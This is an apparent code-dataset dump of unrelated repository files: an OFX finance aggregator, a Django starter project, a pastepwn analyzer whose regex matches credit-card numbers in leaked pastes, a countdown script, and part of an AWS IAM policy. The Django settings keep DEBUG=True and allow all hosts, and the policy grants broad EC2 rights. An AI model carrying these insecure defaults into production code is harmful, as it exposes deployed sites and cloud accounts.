acct_info=acct_info)]\n\n\ndef write_records(records: List[dict], file_name: str) -> None:\n \"\"\"Write records to disk, appending to existing table.\n\n Args:\n records: List of record dicts.\n file_name: Destination file name.\n\n Returns:\n None\n \"\"\"\n # TODO (ricrosales): This should replace data for given account instead of just appending\n new_df = pd.DataFrame(records).set_index(_INDEX_COL)\n if os.path.exists(file_name):\n file_df = pd.read_csv(file_name, index_col=_INDEX_COL)\n file_df = file_df.append(new_df)\n else:\n file_df = new_df\n file_df.to_csv(file_name)\n\n\ndef process_ofx_model(\n ofx_model: Union[_OFXToolsBaseModel, List[_OFXToolsBaseModel]],\n acct_info: dict,\n table: str,\n db_dir: str) -> None:\n \"\"\"Process OFX model.\n\n 1) Generate records from ofxtools model.\n 2) Get destination file.\n 3) Write records to disk.\n\n Args:\n ofx_model: ofxtools model or list of ofxtools models.\n acct_info: Account information dict (date, datetime, server, user, acctid).\n table: Destination table name for given model.\n db_dir: Database base directory path.\n\n Returns:\n None\n \"\"\"\n records = generate_records(ofx_model=ofx_model, acct_info=acct_info)\n if records:\n file_name = file_util.table_file(table, db_dir=db_dir)\n write_records(records, file_name)\n\n\ndef process_statement_model(stmt: _OFXToolsBaseModel, acct_info: dict, db_dir: str) -> None:\n \"\"\"Process ofxtools statement model.\n\n 1) Generate records from ofxtools model.\n 2) Get destination file.\n 3) Write records to disk.\n 4) Process associated transactions, positions, and balances\n\n Args:\n stmt:\n acct_info:\n db_dir:\n\n Returns:\n None\n\n Raises:\n Exception: Encountered account_info record with multiple entries. This is not supposed to\n occur based on OFX spec. Multiple accounts being supported would break assumption\n made on seeding all model records with account info.\n \"\"\"\n # acct_info should yield only one record but get records returns list for ease downstream\n acct_info_records = generate_records(ofx_model=stmt.account, acct_info=acct_info)\n if len(acct_info_records) > 1:\n raise Exception(\n f'Expected generate_records to yield 1 record for acct_info, '\n f'but got:\\n{acct_info_records}'\n )\n cur_acct_info = acct_info_records[0]\n\n if _OFX_ACCTID not in cur_acct_info:\n raise ValueError(f'Statement account info did not contain acctid.\\n{stmt}')\n acct_info_file = file_util.table_file('acct_info', db_dir=db_dir)\n write_records(acct_info_records, acct_info_file)\n\n statement_table_map = [\n (stmt.transactions, 'transactions'),\n (stmt.positions, 'positions'),\n (stmt.balances.ballist, 'balances')\n ]\n for ofx_model, table in statement_table_map:\n process_ofx_model(ofx_model=ofx_model, acct_info=cur_acct_info, table=table, db_dir=db_dir)\n\n\n# -----------------------------------------------------------------------------\n# -- OFX data aggregation method\n# -----------------------------------------------------------------------------\n_STMT_FOLDER = 'stmt'\n\n\ndef agg(db_dir: str = cfg.DB_DIR) -> None:\n \"\"\"Aggregate current ofx files to the database.\n\n Args:\n db_dir: Database base directory path.\n\n Returns:\n None\n \"\"\"\n parser = OFXTree()\n user_cfg = accounts.get_user_cfg()\n for server, server_config in user_cfg.items():\n if server != cfg.OFXGET_DEFAULT_SERVER:\n user = server_config[cfg.OFXGET_CFG_USER_LABEL]\n file_name = f'{db_dir}/{_STMT_FOLDER}/' \\\n f'{cfg.CURRENT_PREFIX}_{server}_{user}.{cfg.OFX_EXTENSION}'\n with open(file_name, 'rb') as ofx_file:\n parser.parse(ofx_file)\n ofx = parser.convert()\n agg_datetime = datetime.datetime.today().replace(tzinfo=cfg.OFX_TIMEZONE)\n agg_date = agg_datetime.date()\n acct_info = {'datetime': agg_datetime, 'date': agg_date, 'server': server, 'user': user}\n for stmt in ofx.statements:\n process_statement_model(stmt=stmt, acct_info=acct_info, db_dir=db_dir)\n process_ofx_model(\n ofx_model=ofx.securities, acct_info=acct_info, table='securities', db_dir=db_dir\n )\n\n\nif __name__ == '__main__':\n\n agg()\n", "id": "5881179", "language": "Python", "matching_score": 4.2972636222839355, "max_stars_count": 2, "path": "ofxdb/data/agg.py" }, { "content": "#!python\n\"\"\"Library of file utility methods.\"\"\"\nimport os\nimport pathlib\n\nimport pandas as pd\n\nfrom ofxdb import cfg\n\n# -----------------------------------------------------------------------------\n# -- Table file methods\n# -----------------------------------------------------------------------------\n# TODO (ricrosales): Remove the need for this by parsing the folder contents instead\nTABLES = {\n 'transactions': 'transactions.csv',\n 'balances': 'balances.csv',\n 'securities': 'securities.csv',\n 'acct_info': 'account_info.csv',\n 'account_info': 'account_info.csv',\n 'positions': 'positions.csv',\n}\nAUX_TABLES = {\n 'exposures': 'exposures.csv',\n}\n\n\ndef table_file(table: str, db_dir: str = cfg.DB_DIR) -> str:\n \"\"\"Retrieve full path for a given table.\n\n Args:\n table: Table name for file to retrieve.\n db_dir: Database base directory path.\n\n Returns:\n A string representing full path for location of table on the disk.\n\n Raises:\n ValueError: Encountered table that was not supported (in TABLES).\n \"\"\"\n base_path = f'{db_dir}/tables'\n if not os.path.exists(base_path):\n os.makedirs(base_path)\n table = table.lower()\n if table not in TABLES:\n raise ValueError(\n f'Table ({table}) not supported. Try: {list(TABLES.keys())} or add support in '\n f'{pathlib.Path(__file__).absolute()}.'\n )\n return f'{base_path}/{TABLES.get(table)}'\n\n\ndef aux_table_file(table: str, aux_dir: str = cfg.AUX_TABLES_DIR) -> str:\n \"\"\"Retrieve full path for a given system table (part of the repo).\n\n Args:\n table: Table name for file to retrieve.\n aux_dir: Auxiliary table directory path.\n\n Returns:\n A string representing full path for location of table on the disk.\n\n Raises:\n FileNotFoundError: Unable to find the system aux_tables folder\n ValueError: Encountered table that was not supported (in TABLES).\n \"\"\"\n if not os.path.exists(aux_dir):\n raise FileNotFoundError(f'Could not find the path for system aux_tables at: {aux_dir}')\n table = table.lower()\n if table not in AUX_TABLES:\n raise ValueError(\n f'Table ({table}) not supported. Try: {list(AUX_TABLES.keys())} or add support in '\n f'{pathlib.Path(__file__).absolute()}.'\n )\n return f'{aux_dir}/{AUX_TABLES.get(table)}'\n\n\n# -----------------------------------------------------------------------------\n# -- Table file read methods\n# -----------------------------------------------------------------------------\n\n\ndef read_transactions(db_dir: str = cfg.DB_DIR) -> pd.DataFrame:\n \"\"\"Read transactions to pandas DataFrame.\n\n Args:\n db_dir: Database base directory path.\n\n Returns:\n pandas DataFrame containing transactions data\n \"\"\"\n file_name = table_file('transactions', db_dir=db_dir)\n return pd.read_csv(file_name, index_col=0)\n\n\ndef read_balances(db_dir: str = cfg.DB_DIR) -> pd.DataFrame:\n \"\"\"Read balances to pandas DataFrame.\n\n Args:\n db_dir: Database base directory path.\n\n Returns:\n pandas DataFrame containing balance data\n \"\"\"\n file_name = table_file('balances', db_dir=db_dir)\n return pd.read_csv(file_name, index_col=0)\n\n\ndef read_securities(db_dir: str = cfg.DB_DIR) -> pd.DataFrame:\n \"\"\"Read securities to pandas DataFrame.\n\n Args:\n db_dir: Database base directory path.\n\n Returns:\n pandas DataFrame containing securities data\n \"\"\"\n file_name = table_file('securities', db_dir=db_dir)\n return pd.read_csv(file_name, index_col=0)\n\n\ndef read_acct_info(db_dir: str = cfg.DB_DIR) -> pd.DataFrame:\n \"\"\"Read account info to pandas DataFrame.\n\n Args:\n db_dir: Database base directory path.\n\n Returns:\n pandas DataFrame containing account info data\n \"\"\"\n file_name = table_file('acct_info', db_dir=db_dir)\n return pd.read_csv(file_name, index_col=0)\n\n\ndef read_positions(db_dir: str = cfg.DB_DIR) -> pd.DataFrame:\n \"\"\"Read positions to pandas DataFrame.\n\n Args:\n db_dir: Database base directory path.\n\n Returns:\n pandas DataFrame containing positions data\n \"\"\"\n file_name = table_file('positions', db_dir=db_dir)\n return pd.read_csv(file_name, index_col=0)\n\n\ndef read_exposures() -> pd.DataFrame:\n \"\"\"Read exposures to pandas DataFrame.\n\n Returns:\n pandas DataFrame containing exposure data\n \"\"\"\n file_name = aux_table_file('exposures')\n return pd.read_csv(file_name, index_col=0)\n\n\nif __name__ == '__main__':\n for t in list(TABLES.keys()):\n print(table_file(table=t))\n\n for t in list(AUX_TABLES.keys()):\n print(aux_table_file(table=t))\n\n READERS = [\n read_acct_info,\n read_balances,\n read_exposures,\n read_positions,\n read_securities,\n read_transactions,\n ]\n\n for read_func in READERS:\n print(read_func().head())\n", "id": "8909210", "language": "Python", "matching_score": 1.9777326583862305, "max_stars_count": 2, "path": "ofxdb/utils/file_util.py" }, { "content": "#!python\nimport argparse\nfrom typing import Union\n\nimport numpy as np\nimport pandas as pd\n\nfrom ofxdb.utils import file_util\nfrom ofxdb.data import extarct, agg\n\n\ndef risk(acctid: Union[list, None] = None) -> pd.DataFrame:\n \"\"\"Compute risk of aggregate portfolio.\n\n Args:\n acctid: Account IDs\n\n Returns:\n pandas DataFrame with portfolio risk statistics.\n \"\"\"\n exposures = file_util.read_exposures()\n positions = file_util.read_positions()\n securities = file_util.read_securities()\n\n securities = securities.drop_duplicates(['ticker', 'date'], keep='last')\n securities = securities[['date', 'uniqueid', 'uniqueidtype', 'ticker']]\n\n if acctid is not None:\n positions = positions[positions['acctid'].isin(acctid)]\n positions = positions.drop_duplicates(\n subset=['date', 'acctid', 'uniqueid', 'uniqueidtype'], keep='last')\n portfolio = positions[positions['date'] == positions['date'].max()]\n portfolio = portfolio.groupby(['date', 'uniqueidtype', 'uniqueid']).sum()[['mktval', 'units']]\n portfolio = portfolio.reset_index()\n portfolio = portfolio.merge(securities, on=['date', 'uniqueid', 'uniqueidtype'], how='left')\n portfolio = portfolio.merge(exposures, on='ticker', how='left')\n\n portfolio['MV($)'] = portfolio['mktval']\n portfolio['NetMV($)'] = portfolio['MV($)'] * np.sign(portfolio['leverage'])\n portfolio['GrossMV($)'] = portfolio['MV($)'] * np.abs(portfolio['leverage'])\n portfolio['BAGMV($)'] = portfolio['MV($)'] * portfolio['beta']\n portfolio['NetGrossMV($)'] = portfolio['MV($)'] * portfolio['leverage']\n\n portfolio = portfolio.rename(columns={'date': 'Date'})\n portfolio_summary = portfolio.groupby('Date').sum()\n portfolio_summary = portfolio_summary[\n ['MV($)', 'GrossMV($)', 'BAGMV($)', 'NetMV($)', 'NetGrossMV($)']]\n portfolio_summary['Gross(%)'] = 100 * (\n portfolio_summary['GrossMV($)'] / portfolio_summary['MV($)'])\n portfolio_summary['BAG(%)'] = 100 * (\n portfolio_summary['BAGMV($)'] / portfolio_summary['MV($)'])\n portfolio_summary['NetMV(%)'] = 100 * (\n portfolio_summary['NetMV($)'] / portfolio_summary['MV($)'])\n portfolio_summary['NetGrossMV(%)'] = 100 * (\n portfolio_summary['NetGrossMV($)'] / portfolio_summary['MV($)'])\n\n for col in portfolio_summary.columns:\n portfolio_summary[col] = portfolio_summary[col].round(2)\n\n headers = ['Date', portfolio_summary.index[0]]\n return portfolio_summary.T.to_markdown(\n headers=headers, tablefmt='fancy_grid', numalign='right', floatfmt=',.2f')\n\n\nif __name__ == '__main__':\n VIEWS = {\n 'risk': risk\n }\n description = 'View aggregated account data.'\n arg_parser = argparse.ArgumentParser(description=description)\n arg_parser.add_argument(\n '-view', type=str, default=VIEWS.keys(), nargs='+', help='View(s) to show.')\n arg_parser.add_argument(\n '-acctid', type=str, default=None, nargs='+', help='Account ID(s) to show.')\n arg_parser.add_argument(\n '--refresh',\n dest='refresh',\n action='store_const',\n const=True,\n default=False,\n help='Refresh data.')\n args = arg_parser.parse_args()\n\n if args.refresh:\n extarct.extract()\n agg.agg()\n\n for view in args.view:\n print(VIEWS[view](args.acctid))\n", "id": "11407034", "language": "Python", "matching_score": 1.6665990352630615, "max_stars_count": 2, "path": "ofxdb/view.py" }, { "content": "#!python\n\"\"\"Script used to generate database.\"\"\"\nfrom ofxdb.data import extarct\nfrom ofxdb.data import agg\n\nif __name__ == '__main__':\n extarct.extract()\n agg.agg()\n", "id": "2970381", "language": "Python", "matching_score": 0.3103700578212738, "max_stars_count": 2, "path": "ofxdb/data/generate.py" } ]
1.67594
Rajiv-Mandal
[ { "content": "from django.db import models\nfrom django.forms import ModelForm, Textarea\nfrom django.contrib.auth.models import User\nfrom django.db.models.signals import post_save\n\n\nclass LandingPage(models.Model):\n email = models.CharField(max_length=100, blank=True)\n name = models.CharField(max_length=100, blank=True)\n datetime = models.DateTimeField(auto_now_add=True)\n ip_address = models.CharField(max_length=100, blank=True)\n variation = models.CharField(max_length=10, blank=True)\n level = models.CharField(max_length=100, blank=True)\n\n comment = models.CharField(max_length=1000, blank=True)\n\n def __unicode__(self):\n return self.email\n\n\nclass LandingForm(ModelForm):\n class Meta:\n model = LandingPage\n fields = ('email', )\n\n\nclass ContributeForm(ModelForm):\n class Meta:\n model = LandingPage\n fields = ('name', 'email', 'comment', )\n\n widgets = {\n 'comment': Textarea(attrs={'cols': 80, 'rows': 10}),\n }\n\n\n########### Extend user profile\n# Docs: http://stackoverflow.com/a/965883/705945\n\nclass UserProfile(models.Model):\n user = models.OneToOneField(User)\n bio = models.CharField(max_length=2000, blank=True)\n\n def __str__(self):\n return \"%s's profile\" % self.user\n\n\ndef create_user_profile(sender, instance, created, **kwargs):\n if created:\n profile, created = UserProfile.objects.get_or_create(user=instance)\n\n\npost_save.connect(create_user_profile, sender=User)\n########### Extend user profile - END\n", "id": "11059024", "language": "Python", "matching_score": 2.996829032897949, "max_stars_count": 2, "path": "website/models.py" }, { "content": "from models import LandingPage, UserProfile\nfrom django.contrib import admin\n\nadmin.site.register(UserProfile)\nadmin.site.register(LandingPage)\n", "id": "10455463", "language": "Python", "matching_score": 0.28387024998664856, "max_stars_count": 2, "path": "website/admin.py" }, { "content": "from django.conf.urls import patterns, include, url\nfrom django.views.generic import TemplateView\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\n\nfrom myproject import settings\n\nfrom django.contrib import admin\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n\n url(r'^login-forms', 'website.views.login_test', name='login'),\n url(r'^logout/$', 'django.contrib.auth.views.logout', {'next_page': '/'}, name='logout'),\n\n url(r'^$', 'website.views.index', name='index'),\n url(r'^private', 'website.views.private', name='private'),\n\n # url(\"^index\", TemplateView.as_view(template_name='index.html'), name=\"mission\"),\n\n # Admin site\n #url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n url(r'^admin/', include(admin.site.urls)),\n\n # Server Static Files from Django\n # url(r'^static/(?P<path>.*)$', 'django.views.static.serve',\n # {'document_root': settings.STATIC_ROOT, 'show_indexes': True}),\n\n # Social Auth:\n url('', include('social.apps.django_app.urls', namespace='social')),\n\n url(\"^robots\\.txt\", TemplateView.as_view(template_name='robots.txt', content_type='text/plain'),\n name=\"robots\"),\n)\n\n# Serving static files from Django is not a good idea. Should use S3+ Django storages\nurlpatterns += staticfiles_urlpatterns()", "id": "5629637", "language": "Python", "matching_score": 2.9201085567474365, "max_stars_count": 2, "path": "myproject/urls.py" }, { "content": "import os\n\n##################\n# LOCAL SETTINGS #\n##################\n\n# Allow any settings to be defined in local_settings.py which should be\n# ignored in your version control system allowing for settings to be\n# defined per machine.\n\nDEPLOY_ENV = os.environ['DEPLOY_ENV']\n\nif DEPLOY_ENV == 'dev':\n from myproject.settings_local_dev import *\n\nelif DEPLOY_ENV == 'prod':\n from myproject.settings_local_prod import *\n\n\n#########\n# PATHS #\n#########\n\n# Full filesystem path to the project.\nPROJECT_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nAPP_NAME = 'website'\nAWS_STORAGE_BUCKET_NAME = 'django-bootstrap'\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n# ('<NAME>', '<EMAIL>'),\n)\n\nMANAGERS = ADMINS\nALLOWED_HOSTS = []\nTIME_ZONE = 'America/Vancouver'\nLANGUAGE_CODE = 'en-us'\nSITE_ID = 1\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\nMEDIA_ROOT = ''\nMEDIA_URL = ''\n\nSTATIC_ROOT = os.path.join(PROJECT_ROOT, 'website', 'static')\n# if DEPLOY_ENV == 'dev':\n# STATIC_URL = '/static/'\n# elif DEPLOY_ENV == 'prod':\n# STATIC_URL = 'http://' + AWS_STORAGE_BUCKET_NAME + '.s3.amazonaws.com/'\n\nSTATIC_URL = '/static/'\n\nSTATICFILES_DIRS = ()\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n # 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n # 'django.template.loaders.eggs.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n # Uncomment the next line for simple clickjacking protection:\n # 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n # 'django.middleware.locale.LocaleMiddleware',\n # 'social_auth.middleware.SocialAuthExceptionMiddleware',\n 'social.apps.django_app.middleware.SocialAuthExceptionMiddleware'\n)\n\nROOT_URLCONF = 'myproject.urls'\nWSGI_APPLICATION = 'myproject.wsgi.application'\n\nTEMPLATE_DIRS = (\n 'templates',\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.admin',\n\n # 'widget_tweaks',\n\n 'social.apps.django_app.default',\n\n 'website',\n\n # 'storages',\n # 'south', # must be at the end of app list\n)\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n }\n}\n\n# BEGIN - Social Auth Settings\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.contrib.auth.context_processors.auth',\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.contrib.messages.context_processors.messages',\n 'social.apps.django_app.context_processors.backends',\n 'social.apps.django_app.context_processors.login_redirect',\n 'django.core.context_processors.static'\n)\n\n# SOCIAL_AUTH_PIPELINE = (\n# 'social.pipeline.social_auth.social_user',\n# 'social.pipeline.social_auth.associate_user',\n# 'social.pipeline.social_auth.load_extra_data',\n# 'social.pipeline.user.user_details'\n# )\n\nAUTHENTICATION_BACKENDS = (\n\n # 'social.backends.open_id.OpenIdAuth',\n # 'social.backends.google.GoogleOpenId',\n 'social.backends.google.GoogleOAuth2',\n 'social.backends.google.GoogleOAuth',\n # 'social.backends.twitter.TwitterOAuth',\n # 'social.backends.yahoo.YahooOpenId',\n\n 'django.contrib.auth.backends.ModelBackend', #Django default auth\n)\n\nSOCIAL_AUTH_STRATEGY = 'social.strategies.django_strategy.DjangoStrategy'\nSOCIAL_AUTH_STORAGE = 'social.apps.django_app.default.models.DjangoStorage'\nSOCIAL_AUTH_GOOGLE_OAUTH_SCOPE = [\n 'https://www.googleapis.com/auth/drive',\n 'https://www.googleapis.com/auth/userinfo.profile'\n]\n\nLOGIN_URL = '/login-forms'\nLOGIN_REDIRECT_URL = '/private'\nSOCIAL_AUTH_LOGIN_REDIRECT_URL = '/private'\nLOGIN_ERROR_URL = '/login-error/'\nLOGOUT_URL = '/logout'\n\n# SOCIAL_AUTH_LOGIN_ERROR_URL = '/login-error/'\n# SOCIAL_AUTH_LOGIN_URL = '/login-url/'\nSOCIAL_AUTH_LOGIN_URL = '/'\n\nSOCIAL_AUTH_NEW_USER_REDIRECT_URL = '/private'\nSOCIAL_AUTH_NEW_ASSOCIATION_REDIRECT_URL = '/private'\nSOCIAL_AUTH_DISCONNECT_REDIRECT_URL = '/'\nSOCIAL_AUTH_INACTIVE_USER_URL = '/inactive-user/'\n\n# SOCIAL_AUTH_USER_MODEL = 'myproject.User'\n\nSOCIAL_AUTH_DEFAULT_USERNAME = 'new_social_auth_user'\nSOCIAL_AUTH_UUID_LENGTH = 16\nSOCIAL_AUTH_USERNAME_IS_FULL_EMAIL = True\nSOCIAL_AUTH_SLUGIFY_USERNAMES = False\n\nSOCIAL_AUTH_SESSION_EXPIRATION = False\n\nSOCIAL_AUTH_GOOGLE_OAUTH2_USE_DEPRECATED_API = True\nSOCIAL_AUTH_GOOGLE_PLUS_USE_DEPRECATED_API = True\n\n# END - Social Auth Settings\n\n\n# Django storages to store files on S3\n# if DEPLOY_ENV == 'prod':\n# STATICFILES_STORAGE = 'storages.backends.s3boto.S3BotoStorage'\n# DEFAULT_FILE_STORAGE = 'storages.backends.s3boto.S3BotoStorage'\n\n#############\n# DATABASES #\n#############\n# Parse database configuration from $DATABASE_URL\nimport dj_database_url\n\nDATABASES = {'default': dj_database_url.config(default='sqlite:/data.db')}\n\n\n###################\n# HEROKU settings #\n###################\n# Honor the 'X-Forwarded-Proto' header for request.is_secure()\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\n# Allow all host headers\nALLOWED_HOSTS = ['*']\n", "id": "3577364", "language": "Python", "matching_score": 3.246072292327881, "max_stars_count": 2, "path": "myproject/settings.py" }, { "content": "import os\nfrom boto.ses.connection import SESConnection\n\nDEPLOY_ENV = os.environ['DEPLOY_ENV']\n\nif DEPLOY_ENV == 'dev':\n from myproject.settings_local_dev import *\n\nelif DEPLOY_ENV == 'prod':\n from myproject.settings_local_prod import *\n\n\ndef send_email(subject, body):\n connection = SESConnection(aws_access_key_id=AWS_ACCESS_KEY_ID,\n aws_secret_access_key=AWS_SECRET_ACCESS_KEY)\n\n connection.send_email(FROM_EMAIL, subject, body, TO_EMAIL)", "id": "5733184", "language": "Python", "matching_score": 1.8561853170394897, "max_stars_count": 2, "path": "website/lib/ses_email.py" }, { "content": "import os\n\n# BUG: THESE KEYS NEED SOCIAL PREFIX . FIX THEM LATER\n\n# OAuth keys for Social Auth\nTWITTER_CONSUMER_KEY = ''\nTWITTER_CONSUMER_SECRET = ''\nFACEBOOK_APP_ID = os.environ['FACEBOOK_APP_ID']\nFACEBOOK_API_SECRET = os.environ['FACEBOOK_API_SECRET']\nLINKEDIN_CONSUMER_KEY = ''\nLINKEDIN_CONSUMER_SECRET = ''\nORKUT_CONSUMER_KEY = ''\nORKUT_CONSUMER_SECRET = ''\nGOOGLE_CONSUMER_KEY = ''\nGOOGLE_CONSUMER_SECRET = ''\n\nSOCIAL_AUTH_GOOGLE_OAUTH2_KEY = os.environ['SOCIAL_AUTH_GOOGLE_OAUTH2_KEY']\nSOCIAL_AUTH_GOOGLE_OAUTH2_SECRET = os.environ['SOCIAL_AUTH_GOOGLE_OAUTH2_SECRET']\n\nFOURSQUARE_CONSUMER_KEY = ''\nFOURSQUARE_CONSUMER_SECRET = ''\nVK_APP_ID = ''\nVK_API_SECRET = ''\nLIVE_CLIENT_ID = ''\nLIVE_CLIENT_SECRET = ''\nSKYROCK_CONSUMER_KEY = ''\nSKYROCK_CONSUMER_SECRET = ''\nYAHOO_CONSUMER_KEY = ''\nYAHOO_CONSUMER_SECRET = ''\n\nGOOGLE_OAUTH2_AUTH_EXTRA_ARGUMENTS = {'access_type': 'offline'}\nGOOGLE_EXTRA_DATA = [('oauth_token', 'oauth_token')]\nGOOGLE_SREG_EXTRA_DATA = [('oauth_token', 'oauth_token')]\nGOOGLE_AX_EXTRA_DATA = [('oauth_token', 'oauth_token')]\n\nAWS_ACCESS_KEY_ID = os.environ['S3_KEY']\nAWS_SECRET_ACCESS_KEY = os.environ['S3_SECRET']\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = os.environ['SECRET_KEY'] # DJANGO secret key\n\n# Stripe Keys\nSTRIPE_KEY = os.environ['STRIPE_KEY']\nSTRIPE_PUBLISHABLE_KEY = os.environ['STRIPE_PUBLISHABLE_KEY']\n", "id": "1529756", "language": "Python", "matching_score": 0.3039095401763916, "max_stars_count": 2, "path": "myproject/settings_local_prod.py" }, { "content": "from os import environ\nfrom unittest import TestCase\n\n\nclass MyTests(TestCase):\n def test_simple(self):\n self.assertEqual(1, 1)\n", "id": "8929700", "language": "Python", "matching_score": 0.16516412794589996, "max_stars_count": 2, "path": "tests.py" } ]
1.856185
SplinterHead
[ { "content": "# -*- coding: utf-8 -*-\nfrom .regexanalyzer import RegexAnalyzer\n\n\nclass CreditCardAnalyzer(RegexAnalyzer):\n \"\"\"Analyzer to match Credit Cards\"\"\"\n\n def __init__(self, action):\n \"\"\"\n Analyzer to match Credit Cards\n :param action: Single action or list of actions to be executed when a paste matches\n \"\"\"\n # Regex taken from https://www.regular-expressions.info/creditcard.html\n regex = r\"^4(\\d{12}(?:\\d{3})?|\\d{3}( \\d{4}){2} (\\d{4}|\\d{1}))$|\" \\\n r\"^(?:5[1-5]\\d{2}|222[1-9]|22[3-9]\\d|2[3-6]\\d{2}|27[01]\\d|2720)(\\d{12}|( \\d{4}){2} (\\d{4}|\\d{1}))$|\" \\\n r\"^3[47](\\d{13}|\\d{2} \\d{6} \\d{5})$|\" \\\n r\"^3(?:0[0-5]|[68]\\d)(\\d{11}|\\d \\d{6} \\d{4})$|\" \\\n r\"^6(?:011|5\\d{2})(\\d{12}|( \\d{4}){3})|\" \\\n r\"^(?:2131|1800|35\\d{2,3})(\\d{11}|( \\d{4}){3})$\"\n\n super().__init__(action, regex)\n", "id": "9943281", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "pastepwn/analyzers/creditcardanalyzer.py" }, { "content": "import datetime\n\n\nDATES = {\n \"1\": datetime.datetime(year=2020, month=1, day=1),\n \"2\": datetime.datetime(year=2019, month=10, day=31),\n \"3\": datetime.datetime(year=2019, month=12, day=25),\n}\n\n\ndef main():\n print(\"=\" * 80)\n print(\"It's the final countdown\")\n print(\"=\" * 80)\n print(\"Select the date:\")\n print(\"1) New year's day 2020\")\n print(\"2) Halloween 2019\")\n print(\"3) Christmas 2019\")\n\n selected_date = input(\"Date: \")\n\n try:\n final_countdown_td = DATES[selected_date] - datetime.datetime.now()\n print(f\"Days remaining: {final_countdown_td.days}\")\n except KeyError:\n print(\"Please select a valid date\")\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "7879114", "language": "Python", "matching_score": 1.4142135381698608, "max_stars_count": 1, "path": "src/the_final_countdown/main.py" }, { "content": "# -*- coding: utf-8 -*-\nfrom setuptools import find_packages, setup\n\nsetup(\n name=\"the_final_countdown\",\n version=\"1.0.0\",\n packages=find_packages(where=\"src\"),\n package_dir={\"\": \"src\"},\n zip_safe=False,\n entry_points={\"console_scripts\": [\"the_final_countdown=the_final_countdown.main:main\"]},\n)\n", "id": "8338798", "language": "Python", "matching_score": 1.4142135381698608, "max_stars_count": 1, "path": "setup.py" } ]
1.414214
uppercasebrands
[ { "content": "# Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\n# TODO: Merge into ebcli/lib/iam_role.py when the code has been merged in\nclass iam_documents(object):\n EC2_ASSUME_ROLE_PERMISSION = '{\"Version\": \"2008-10-17\",\"Statement\": [{\"Action\":' \\\n ' \"sts:AssumeRole\",\"Principal\": {\"Service\": ' \\\n '\"ec2.amazonaws.com\"},\"Effect\": \"Allow\",\"Sid\": \"\"}]}'\n\n # TODO: Replace this raw string with Custom Platform managed policy after live release: AWSElasticBeanstalkCustomPlatformforEC2Role\n CUSTOM_PLATFORM_BUILDER_INLINE_POLICY = \"\"\"{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"PackerEC2Access\",\n \"Action\": [\n \"ec2:AttachVolume\",\n \"ec2:AuthorizeSecurityGroupIngress\",\n \"ec2:CopyImage\",\n \"ec2:CreateImage\",\n \"ec2:CreateKeypair\",\n \"ec2:CreateSecurityGroup\",\n \"ec2:CreateSnapshot\",\n \"ec2:CreateTags\",\n \"ec2:CreateVolume\",\n \"ec2:DeleteKeypair\",\n \"ec2:DeleteSecurityGroup\",\n \"ec2:DeleteSnapshot\",\n \"ec2:DeleteVolume\",\n \"ec2:DeregisterImage\",\n \"ec2:DescribeImageAttribute\",\n \"ec2:DescribeImages\",\n \"ec2:DescribeInstances\",\n \"ec2:DescribeRegions\",\n \"ec2:DescribeSecurityGroups\",\n \"ec2:DescribeSnapshots\",\n \"ec2:DescribeSubnets\",\n \"ec2:DescribeTags\",\n \"ec2:DescribeVolumes\",\n \"ec2:DetachVolume\",\n \"ec2:GetPasswordData\",\n \"ec2:ModifyImageAttribute\",\n \"ec2:ModifyInstanceAttribute\",\n \"ec2:ModifySnapshotAttribute\",\n \"ec2:RegisterImage\",\n \"ec2:RunInstances\",\n \"ec2:StopInstances\",\n \"ec2:TerminateInstances\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"BucketAccess\",\n \"Action\": [\n \"s3:Get*\",\n \"s3:List*\",\n \"s3:PutObject\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": [\n \"arn:aws:s3:::elasticbeanstalk-*\",\n \"arn:aws:s3:::elasticbeanstalk-*/*\"\n ]\n },\n {\n \"Sid\": \"CloudWatchLogsAccess\",\n \"Action\": [\n 